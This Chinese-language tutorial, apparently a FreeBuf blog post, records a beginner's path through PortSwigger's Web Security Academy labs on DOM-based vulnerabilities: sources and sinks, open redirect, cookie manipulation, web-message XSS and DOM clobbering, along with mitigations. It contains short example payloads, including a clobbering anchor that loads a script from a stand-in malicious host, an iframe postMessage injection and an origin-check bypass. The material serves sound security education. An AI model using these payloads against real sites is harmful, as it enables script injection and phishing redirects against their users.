基于DOM的漏洞?那是啥,听着挺好玩的,但是梨子感觉客户端漏洞后面几个篇幅都不长的,学起来应该能轻松些吧,嘻嘻嘻。
声明
该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。
本系列介绍
PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。
梨子有话说
梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。
客户端漏洞篇介绍
相对于服务器端漏洞篇,客户端漏洞篇会更加复杂,需要在我们之前学过的服务器篇的基础上去利用。
什么是DOM?
DOM,全称document object model,译为文档对象模型。是浏览器对页面元素的分层表示。网站可以使用JS操作DOM的节点和对象以及它们的属性。在DOM的概念中有两个专有名词source和sink,目前梨子还找不到合适的中文翻译。我们暂且理解为DOM操作的入口点和出口点。如果当不安全的payload从入口点传递给出口点则可能存在基于DOM的漏洞。
污点流(Taint-flow)漏洞
source
source是一个JS属性,可以接收用户输入。比如location.search,它可以从查询字符串中获取数据,这也是攻击者比较容易利用的点。还有其他的也是容易被攻击者控制的source,例如document.referrer、document.cookie还有Web消息等。
sink
既然source是接收用户输入,那么sink就是使用危险的方式处理source的函数或DOM对象。比如eval()就是一种sink,可以处理JS传递给它的参数值。还有一种sink是document.body.innerHTML,攻击者可以向其注入恶意的HTML和JS脚本并执行。
什么是污点流(Taint-flow)?
当网站将数据从source传递给sink,然后sink以不安全的方式处理该数据,则可能出现基于DOM的漏洞。危险的数据由source流向sink,所以叫做污点流(Taint-flow)。最常见的source就是URL,通常使用location对象访问。攻击者可以构造一个链接,然后让受害者跳转到指定的页面。例如
goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
location = goto;
}
上面这段代码会检查URL,如果包含以https开头的哈希片段则提取location.hash属性的值并将其设置为window对象的location属性。所以攻击者可以构造这样的URL来利用这个基于DOM的开放重定向漏洞。https://www.innocent-website.com/example#https://www.evil-user.net
经过上面那段代码处理以后,会将https://www.evil-user.net 设置为location属性的值,这会自动将受害者重定向到该站点。一般可以用于钓鱼攻击。
常见的source
下面列出一些常见的可能触发污点流(Taint-flow)漏洞的source
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
下面几种数据也是可能触发污点流(Taint-flow)漏洞的source
反射型数据(已在XSS专题中讲解)
存储型数据(已在XSS专题中讲解)
Web消息
哪些sink可以导致基于DOM的漏洞?
burp列举出一些可以导致基于DOM漏洞的sink
基于DOM的漏洞类型 | sink |
---|---|
DOM XSS(已在XSS专题中讲解) | document.write() |
开放重定向 | window.location |
操纵cookie | document.cookie |
JS注入 | eval() |
操纵文档域 | document.domain |
WebSocket-URL投毒 | WebSocket() |
操纵链接 | element.src |
操纵Web消息 | postMessage() |
操纵Ajax请求头 | setRequestHeader() |
操纵本地文件路径 | FileReader.readAsText() |
客户端SQL注入 | ExecuteSql() |
操纵HTML5存储 | sessionStorage.setItem() |
客户端XPath注入 | document.evaluate() |
客户端JSON注入 | JSON.parse() |
操纵DOM数据 | element.setAttribute() |
拒绝服务 | RegExp() |
下面我们一个一个地介绍
基于DOM的XSS
见XSS专题。
基于DOM的开放重定向
什么是基于DOM的开放重定向?
基于DOM的开放重定向就是将输入传递给可以触发跨域跳转的sink时触发的漏洞。例如下面代码以不安全方式处理location.hash
let url = /https?:\/\/.+/.exec(location.hash);
if (url) {
location = url[0];
}
它可以触发跳转到任意域。
配套靶场:基于DOM的开放重定向
我们在任意文章页面发现这样的代码
这段代码会检测当前请求URL中是否包含url=http(s)开头的字符串,如果包含则将URL赋给location.href属性,于是我们可以这样构造开放重定向的payload
这样当点击返回首页时就会触发开放重定向跳转到url参数指定的页面
哪些sink可以导致基于DOM的开放重定向漏洞?
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
基于DOM的操纵cookie
什么是基于DOM的操纵cookie?
burp的原话感觉比较啰嗦,通俗来讲,就是利用DOM函数,如document.cookie向cookie注入恶意数据。例如
document.cookie = 'cookieName='+location.hash.slice(1);
下面我们通过一道靶场来看看是如何操纵cookie
配套靶场:基于DOM的操纵cookie
我们发现了这样一段代码
发现存在一个DOM操作,得知cookie由一个参数lastViewProduct构成,其值是window.location,即当前窗口的完整的URL,所以我们这样构造payload
这样当构造cookie时就会注入JS脚本进去,为了不被受害者发现,在加载时会立即跳转到首页。
哪个sink可以导致基于DOM的操纵cookie漏洞?
document.cookie
基于DOM的JS注入
什么是基于DOM的JS注入?
JS注入就是用户输入可以被当成一个JS脚本执行
哪些sink可以导致基于DOM的JS注入漏洞?
eval()
Function()
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
基于DOM的操纵文档域
什么是基于DOM的操纵文档域?
当浏览器采用同源策略时会使用document.domain属性,如果两个站点的值是相同的则会被认为是同源,就可以不受限制地互相访问资源,从而发动跨域攻击。
哪个sink可以导致基于DOM的操纵文档域漏洞?
document.domain
基于DOM的WebSocket-URL投毒
什么是基于DOM的WebSocket-URL投毒?
就是把用户输入作为一个WebSocket连接的目标URL并发出请求。
哪个sink可以导致基于DOM的WebSocket-URL投毒漏洞?
WebSocket构造器
基于DOM的操纵链接
什么是基于DOM的操纵链接?
就是在当前页面将用户输入的数据写入一个跳转目标中
哪些sink可以导致基于DOM的操纵链接漏洞?
someDOMElement.href
someDOMElement.src
someDOMElement.action
基于DOM的操纵Web消息
什么是基于DOM的操纵Web消息?
就是将用户输入作为Web消息传递给一个文档中,当用户访问时发出恶意请求。
哪个sink可以导致基于DOM的操纵Web消息漏洞?
postMessage()
基于DOM的操纵Ajax请求头
什么是基于DOM的操纵Ajax请求头?
就是将用户输入写入一个使用XmlHttpRequest对象发出ajax的请求的请求头中
哪些sink可以导致基于DOM的操纵Ajax请求头漏洞?
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
基于DOM的操纵本地文件路径
什么是基于DOM的操纵本地文件路径?
就是将用户输入作为一个filename参数传递到一个文件处理API中
哪些sink可以导致基于DOM的操纵本地文件路径漏洞?
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
基于DOM的客户端SQL注入
什么是基于DOM的客户端SQL注入?
就是以一种不安全的方式把用户输入拼接到一个客户端的sql查询语句中,然后获取意外的结果。
哪个sink可以导致基于DOM的客户端SQL注入漏洞?
executeSql()
基于DOM的操纵HTML5存储
什么是基于DOM的操纵HTML5存储?
就是把用户输入存储到浏览器的H5存储中
哪些sink可以导致基于DOM的操纵HTML5存储漏洞?
sessionStorage.setItem()
localStorage.setItem()
基于DOM的客户端XPath注入
什么是基于DOM的客户端XPath注入?
就是将用户输入拼接到一个XPath查询语句中,与前面的客户端Sql注入类似。
哪些sink可以导致基于DOM的客户端XPath注入漏洞?
document.evaluate()
someDOMElement.evaluate()
基于DOM的客户端JSON注入
什么是基于DOM的客户端JSON注入?
就是将用户输入拼接到一个可被解析为json数据结构并由应用程序处理的字符串中,然后构造异常的解析结果。
哪些sink可以导致基于DOM的客户端JSON注入漏洞?
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
基于DOM的操纵DOM数据
什么是基于DOM的操纵DOM数据?
就是将用户输入写入一个使用透明UI或客户端逻辑的DOM区域然后执行异常的DOM操作。
哪些sink可以导致基于DOM的操纵DOM数据漏洞?
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
基于DOM的拒绝服务
什么是基于DOM的拒绝服务?
就是将用户输入以不安全的方式传入一个有可能会消耗大量计算资源的API中
哪些sink可以导致基于DOM的拒绝服务漏洞?
requestFileSystem()
RegExp()
控制Web消息source
如果网站以不安全的方式传递Web消息,例如,未在事件侦听器中正确验证传入的Web消息的源,则事件侦听器调用的属性和函数可能会成为sink。攻击者可以托管恶意iframe并使用postMessage()方法将Web消息数据传递给事件监听器,然后将payload发送到父页面上的sink。这就以为着攻击者可以以Web消息为source将恶意数据传递到这些所有的sink。
如何以Web消息为source构造攻击?
首先我们考虑这样的代码
<script>
window.addEventListener('message', function(e) {
eval(e.data);
});
</script>
这段代码添加了一个事件监听器,在接收到消息时执行里面的data部分。这里我们通过iframe注入这个消息<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('alert(1)','*')">
因为事件监听器不验证消息的源,并且postMessage也指定了targetOrigin "*",所以事件监听器会接收它并且将payload传递到sink(eval())中执行。
配套靶场1:使用Web消息的DOM XSS
我们留意到页面中有这样的代码
我们看到这段代码与上面的还是有点区别的,这里有innerHTML,所以应该使用img搭配onerror这一款XSS payload
经过代码处理以后就会触发XSS
配套靶场2:使用Web消息和JS URL的DOM XSS
我们注意到这样的代码
这段代码就是在Web消息中检测是否有http或https字样,如果有,就将其赋给location.href属性,看到href,我们就知道是要用JS伪协议去触发XSS了
经过上面代码处理以后就会触发XSS了
源验证
即使事件监听器会验证源,也会在验证过程中发现一些缺陷。例如
window.addEventListener('message', function(e) {
if (e.origin.indexOf('normal-website.com') > -1) {
eval(e.data);
}
});
这种验证方式有很大缺陷,因为它只检查是否包含指定的域,但是并没有检查是否还包含其他的,例如http://www.normal-website.com.evil.net
类似这种URL就可以轻松绕过。这种验证缺陷也会出现在使用startsWith()和endsWith()函数的情况中。例如
window.addEventListener('message', function(e) {
if (e.origin.endsWith('normal-website.com')) {
eval(e.data);
}
});
配套靶场:使用Web消息和JSON.parse的DOM XSS
我们可以看到这样的代码
从上面代码得知代码会首先创建一个iframe元素,然后利用JSON.parse解析Web消息,然后根据其中的type字段的值有三种不同的处理方式,为了触发DOM XSS,我们需要进入第二种处理方式,所以我们构造这样的payload
经过代码处理以后就会触发XSS了
DOM clobbering
什么是DOM clobbering?
梨子目前还并未找到关于这个专有名词比较贴切的中文翻译。DOM clobbering就是注入HTML利用DOM篡改页面中的JS脚本。常见做法就是通过锚点元素覆盖全局变量,当应用程序使用该变量时触发。起名clobbering意为利用DOM覆盖现有的JS脚本,有捣乱的含义。
如何利用DOM clobbering?
JS开发者比较常用这样的模式var someObject = window.someObject || {};
如果我们可以控制HTML,则可以利用DOM节点去破坏对someObject的引用。例如
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
想要利用这段代码我们可以构造这样的payload<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
这条payload可以通过插入id相同的节点覆盖原有的节点,然后利用值为url的name属性破坏指向外部脚本的someObject对象的url属性。
另外一种手段就是使用form元素搭配一个如input元素去破坏DOM属性。例如破坏attributes让过滤器失去作用,这样就可以让之前无法注入的属性重新可以注入了。例如<form onclick=alert(1)><input id=attributes>Click me
因为我们将id也设置为attributes,过滤器会在input属性中进入死循环,则会允许执行后面本来应被过滤的危险属性。
配套靶场1:利用DOM clobbering发动XSS
我们找到形如上面的一条代码
从上面得知我们可以对defaultAvatar发动DOM clobbering,经过burp提示,cid协议没有被resources/js/domPurify-2.0.15.js过滤掉,所以可以利用cid协议绕过对双引号的转义,于是我们可以构造如下payload
这样我们就可以成功发动XSS了
配套靶场2:利用DOM clobbering绕过HTML过滤器
首先我们在评论区注入消除掉过滤器作用的XSS payload
然后在Eploit Server设置一个延时的操作,为了保证能够有充足时间执行JS,延时结束后会在src后加一个锚点x,此时会访问id为x的表单,触发里面的XSS payload
至此,成功绕过HTML过滤器发动XSS
如何缓解DOM clobbering攻击?
可以检查DOM 节点的attributes属性是否实际上是NamedNodeMap的实例,确保attributes是一个属性,而不是一个被clobbering的元素。而且还要避免使用全局OR逻辑运算符(||)。使用DOM审查库,如DOMPurify,进行严格的审查。
如何缓解基于DOM的污点流(taint-flow)漏洞?
上面那么多种情况,总结一点,想要缓解这种漏洞只能对传递到sink的值进行严格地审查,设置白名单,然后根据上下文严格对其进行编码。没有很容易的防护手段。
总结
以上就是梨子去上PortSwigger网络安全学院系列之客户端漏洞篇 - 基于DOM的漏洞专题的全部内容啦,本专题主要讲了基于DOM的漏洞形成原理,以及多种由不同source和sink导致的污点流漏洞的利用、防护,最后还介绍了高级的DOM clobbering攻击的利用及防护,感兴趣的同学可以在评论区和梨子讨论哦,嘻嘻嘻。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)